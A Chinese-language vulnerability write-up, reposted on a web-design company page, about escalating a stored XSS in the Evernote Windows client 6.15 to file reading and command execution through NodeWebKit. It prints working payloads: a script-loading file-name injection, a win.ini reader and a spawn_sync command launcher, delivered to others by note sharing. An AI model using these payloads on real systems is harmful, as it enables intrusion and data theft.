這篇文章給大家介紹如何實現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
創(chuàng)新互聯(lián)公司主要從事成都做網(wǎng)站、網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)寧武,十年網(wǎng)站建設(shè)經(jīng)驗,價格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):13518219792
2018/09/20 ,我當(dāng)時的同事@sebao告訴我印象筆記修復(fù)了他的XSS漏洞并登上了名人堂,碰巧國慶的時候考古過幾個客戶端 XSS 導(dǎo)致命令執(zhí)行的案例,就想在印象筆記客戶端也尋找一下類似的問題。在之后的測試過程中,我不僅發(fā)現(xiàn)原本的XSS修復(fù)方案存在漏洞、利用這個XSS漏洞實現(xiàn)了本地文件讀取和遠(yuǎn)程命令執(zhí)行,還通過分享筆記的功能實現(xiàn)了遠(yuǎn)程攻擊。
印象筆記 Windows 客戶端 6.14 版本修復(fù)了一個儲存型 XSS。
由于只修復(fù)了 XSS 的入口點而沒有在出口處添加過濾,導(dǎo)致攻擊者可以在 6.14 版本的客戶端中生成儲存型 XSS并在 6.15 版本中觸發(fā)。
印象筆記的展示模式是使用 NodeWebKit 實現(xiàn)的,通過儲存型 XSS 可以在展示模式下注入 Nodejs 代碼。
經(jīng)過各種嘗試,最終通過注入的 Nodejs 代碼實現(xiàn)了本地文件讀取和遠(yuǎn)程命令執(zhí)行。
@sebao 發(fā)現(xiàn)的儲存型 XSS 漏洞的觸發(fā)方式如下: 1. 在筆記中添加一張圖片 2. 右鍵并將該圖片更名為” onclick=”alert(1)”>.jpg”3. 雙擊打開該筆記并點擊圖片,成功彈框。
經(jīng)過測試,印象筆記官方修復(fù)該 XSS 的方式為:在更名處過濾了>、<、”等特殊字符,但有意思的是我在 6.14 版本下測試的 XSS 在6.15 版本中依舊可以彈框,這也就意味著:官方只修了 XSS 的入口,在 XSS 的輸出位置,依舊是沒有任何過濾的。
XSS 修復(fù)方案存在漏洞并不能算是一個很嚴(yán)重的安全問題,所以我決定深入挖掘一下其他的漏洞,比如本地文件讀取或者遠(yuǎn)程命令執(zhí)行。為了方便測試,我在 6.14 版本的客戶端中將一張圖片更名為” onclick=”alert(1)”><scriptsrc=”http://172.16.4.1:8000/1.js“>.jpg后,將客戶端升級為最新版 6.15。
我測試了一些特殊的API,例如evernote.openAttachment、goog.loadModuleFromUrl,但是沒有顯著的收獲。所以我轉(zhuǎn)換了思路,遍歷C:\\Program Files(x86)\Evernote\Evernote\目錄下的所有文件。我發(fā)現(xiàn)印象筆記在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit目錄下存在NodeWebKit,在演示的時候,印象筆記會調(diào)用這個NodeWebKit。
一個更好的消息是我可以通過之前發(fā)現(xiàn)的儲存型 XSS 在NodeWebKit中執(zhí)行Nodejs代碼。
既然可以注入Nodejs代碼,那就意味著我可以嘗試使用child_process來執(zhí)行任意命令。
我嘗試使用require(‘child_process’).exec,但是卻報錯了:Module name “child_process” has not been loaded yet forcontext。
這個錯誤并沒有澆滅我剛發(fā)現(xiàn)Nodejs代碼注入的激情,我在查閱各種資料嘗試解決/繞過 這個問題。最終,我發(fā)現(xiàn)了前人的足跡:Howwe exploited a remote code execution vulnerability in math.js
根據(jù)文中的內(nèi)容,簡單的修改讀取本地文件的 payload 很快就實現(xiàn)了相應(yīng)的功能:
alert("Tryto read C:\\\\Windows\\win.ini");try{ var buffer = new Buffer(8192); process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini',0, 0600), buffer, 0, 4096); alert(buffer);}catch(err){ alert(err);}
但是在嘗試遠(yuǎn)程命令執(zhí)行的時候,我遇到了一些問題。由于并不了解Nodejs,所以我不知道為什么NodeWebkit中沒有Object和Array,也不知道如何解決這個問題。我聽取了文中的建議,嘗試去理解child_process 的源碼 ,并且查找spawn_sync相關(guān)的用法。
最終,我從window.process.env中獲取到env的內(nèi)容,并使用spawn_sync成功地彈出了計算器。
// commandexecutedtry{ spawn_sync = process.binding('spawn_sync'); envPairs = []; for (var key in window.process.env) { envPairs.push(key + '=' +window.process.env[key]); } args = []; const options = { file: 'C:\\\\Windows\\system32\\calc.exe', args: args, envPairs: envPairs, stdio: [ { type: 'pipe', readable: true, writable:false }, { type: 'pipe', readable: false,writable: true }, { type: 'pipe', readable: false,writable: true } ] }; spawn_sync.spawn(options);}catch(err){ alert(err);}
在我實現(xiàn)了本地文件讀取和本機命令執(zhí)行后,黑哥提出了一個更高的要求:證明這個漏洞可以影響到其他用戶。
在注冊了一個小號后,我嘗試使用分享功能將惡意筆記分享給 ”他人“。
我的小號將會在工作空間收到別人發(fā)來的消息。
我的小號嘗試演示這個筆記,被注入的Nodejs代碼成功執(zhí)行!
關(guān)于如何實現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
新聞名稱:如何實現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析
網(wǎng)頁鏈接:http://aaarwkj.com/article34/igscse.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供域名注冊、關(guān)鍵詞優(yōu)化、全網(wǎng)營銷推廣、云服務(wù)器、品牌網(wǎng)站建設(shè)、手機網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)